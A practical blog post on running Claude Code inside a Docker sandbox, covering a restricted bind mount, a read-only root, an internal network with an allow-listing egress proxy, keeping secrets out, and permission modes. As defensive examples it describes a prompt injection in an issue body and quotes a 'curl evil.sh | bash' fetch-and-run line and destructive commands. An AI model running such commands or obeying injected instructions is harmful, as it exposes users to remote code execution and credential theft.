If you let an AI coding agent run shell commands on your machine, you've handed it the same reach you have: your SSH keys, your cloud credentials, your whole home directory, and an open internet connection. Claude Code is genuinely useful precisely because it can run commands — but "can run commands" and "can run commands as me, everywhere" are very different risk profiles.
This is a practical guide to running Claude Code in a sandbox: a container with a restricted filesystem, a walled-off network, and secrets it simply cannot see. Everything below is config you can copy.
TL;DR
- Run Claude Code inside a Docker container so a bad command can't touch your real home directory or other projects.
- Mount only the one project directory you're working on, read-write; mount nothing else.
- Restrict the network — default-deny egress, allow-list only the Anthropic API and the package registries you actually need.
- Keep secrets out of the container entirely, or inject them per-command and never bake them into the image or env files the agent can read.
- Use Claude Code's permission modes as a second layer — not the only layer. Sandboxing is the wall; permissions are the lock on the door.
Why bother sandboxing an AI agent?
Three concrete failure modes, none of them exotic:
-
A confused agent runs a destructive command.
rm -rfagainst the wrong path, agit reset --hardthat nukes uncommitted work in another repo, a migration against prod because the prod URL was in your shell env. -
Prompt injection. You ask Claude to "summarize this repo's issues" and a malicious issue body contains instructions like "run
curl evil.sh | bash." The model is helpful; without a wall, helpful is dangerous. -
Credential exfiltration. Anything readable in the environment —
~/.aws/credentials, a.envwith a Stripe key, your GitHub token — is onecataway from being printed into a context that could leave your machine.
A sandbox doesn't make the model trustworthy. It makes trust unnecessary for the blast radius you care about.
Step 1: Put Claude Code in a container
The cleanest isolation is a container that contains the agent, the toolchain, and exactly one project. Here's a minimal image:
# Dockerfile.claude-sandbox
FROM node:22-slim
# Tools the agent legitimately needs — keep this list tight.
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates ripgrep && \
rm -rf /var/lib/apt/lists/*
# Install Claude Code globally.
RUN npm install -g @anthropic-ai/claude-code
# Run as a non-root user so even inside the box, privilege is limited.
RUN useradd -m agent
USER agent
WORKDIR /work
ENTRYPOINT ["claude"]
Build it once:
docker build -f Dockerfile.claude-sandbox -t claude-sandbox .
Then run it against only the project you're working on:
docker run --rm -it \
--mount type=bind,src="$PWD",dst=/work \
--workdir /work \
claude-sandbox
The key line is the bind mount: src="$PWD" exposes the current directory and nothing else. Your ~/.ssh, your other repos, your password manager export — none of it exists from inside the container.
Step 2: Restrict the filesystem
Two upgrades make the filesystem boundary much stronger:
docker run --rm -it \
--mount type=bind,src="$PWD",dst=/work \
--read-only \
--tmpfs /tmp \
--mount type=bind,src="$PWD",dst=/work \
--workdir /work \
claude-sandbox
-
--read-onlymakes the container's root filesystem immutable — the agent can write to/work(your project) and/tmp, but it can't tamper with the toolchain or drop persistent binaries elsewhere. -
--tmpfs /tmpgives it scratch space that vanishes when the container exits.
If you want the agent to propose changes without writing to your real files at all, mount the project read-only and have it emit a patch:
--mount type=bind,src="$PWD",dst=/work,readonly
…then review and git apply the diff yourself.
Step 3: Wall off the network
By default a container can reach the entire internet. For an agent, that's exactly what you don't want. Start from deny-all and allow only what's required.
The blunt, reliable option — no network at all except a proxy you control:
docker network create --internal claude-net
An --internal network has no route to the outside world. Then run a small egress proxy (e.g. tinyproxy or squid) on a bridge network, configured to allow only:
-
api.anthropic.com(so Claude Code can actually talk to the model) - your package registry (
registry.npmjs.org,pypi.org) only if the agent needs to install dependencies
Point the container at the proxy:
docker run --rm -it \
--network claude-net \
-e HTTPS_PROXY=http://egress-proxy:8888 \
-e HTTP_PROXY=http://egress-proxy:8888 \
--mount type=bind,src="$PWD",dst=/work \
--workdir /work \
claude-sandbox
Now a prompt-injected curl evil.sh | bash resolves to nothing — the host isn't on the allow-list, so the request never leaves.
Step 4: Isolate secrets — the part people skip
This is where most "sandboxes" leak. If your real credentials are sitting in the container's environment or a mounted .env, the wall around the network barely matters — the agent can read them and bake them into code, logs, or commits.
Rules that actually work:
- Don't pass real cloud/SSH/API credentials into the agent's container at all. If a task needs to deploy, do the deploy outside the sandbox after reviewing the agent's output.
-
The only secret the agent needs is its own model key. Pass
ANTHROPIC_API_KEYat runtime, never in the image:
docker run --rm -it \
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
... \
claude-sandbox
-
Keep project secrets in a directory you never mount. A pattern that works well: a
.secrets/folder (gitignored,chmod 600) that lives outside the bind mount, so it's invisible from inside the box. - Never let the agent print secrets. Even with isolation, scan its output and your diffs before committing.
Step 5: Add permission modes as a second layer
Claude Code has built-in permission controls. They're not a substitute for the container — they're defense-in-depth inside it.
- Default (ask) mode prompts before running shell commands or editing files. Good for interactive sessions.
-
Allow-listed tools — you can pre-approve specific commands (e.g.
git status,npm test) so you're not clicking "yes" all day, while everything else still prompts. -
--dangerously-skip-permissionsremoves the prompts entirely. The name is a deliberate warning. Only ever use it inside a sandbox like the one above — that combination (full autonomy, zero blast radius) is the whole point. Using it on your bare host is how people get burned.
The mental model: permission modes decide what the agent asks you about; the sandbox decides what's even possible. You want both.
A complete, copy-pasteable run
# One-time
docker network create --internal claude-net
docker build -f Dockerfile.claude-sandbox -t claude-sandbox .
# Per-session, from inside your project dir
docker run --rm -it \
--network claude-net \
-e HTTPS_PROXY=http://egress-proxy:8888 \
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
--read-only --tmpfs /tmp \
--mount type=bind,src="$PWD",dst=/work \
--workdir /work \
claude-sandbox
Read-only root, scratch-only /tmp, one project mounted, egress through a proxy, only the model key present. That's a real wall — not a feeling of safety, an actual boundary.
Watch the cost while you're at it
A sandboxed agent that you trust to run autonomously will happily churn through tokens — long sessions, big contexts, cache misses you never see until the invoice lands. Since Claude Code writes JSONL session logs to ~/.claude/projects/, you can read them locally and get a per-session, per-model cost breakdown. We built a small open-source CLI, tokenscope, that does exactly this — npx tokenscope and you see what each session actually cost, including the cache-creation-vs-cache-read split that usually drives the surprises. It's read-only and offline, which makes it a natural fit for a sandboxed workflow.
FAQ
Does sandboxing break Claude Code's features?
No. It still edits files, runs tests, and uses tools — within the project you mounted. The only things it loses are reach into your other files and unrestricted internet, which is the point.
Can I use --dangerously-skip-permissions safely?
Only inside a sandbox. On your bare machine it gives an AI agent unprompted shell access to everything you can touch. Inside a read-only, network-walled, single-project container, the blast radius is the container — so full autonomy becomes reasonable.
What about prompt injection from files the agent reads?
The container is your backstop. Even if injected text convinces the model to attempt something malicious, a default-deny network and a read-only root mean the harmful action mostly can't land. Combine that with reviewing diffs before you commit.
Do I need Docker specifically?
No — the same principles apply to Podman, Firecracker microVMs, or a locked-down VM. Docker is just the lowest-friction way to get filesystem + network + user isolation in one command.
How do I let the agent install dependencies but nothing else?
Allow-list your package registry (registry.npmjs.org, pypi.org) in the egress proxy and deny everything else. The agent can npm install but can't curl an arbitrary host.
Written by the team behind tokenscope, an open-source CLI for tracking Claude Code token costs from your local logs. We run Claude as an autonomous agent inside a sandbox exactly like the one above — these are the patterns we actually use.
Top comments (0)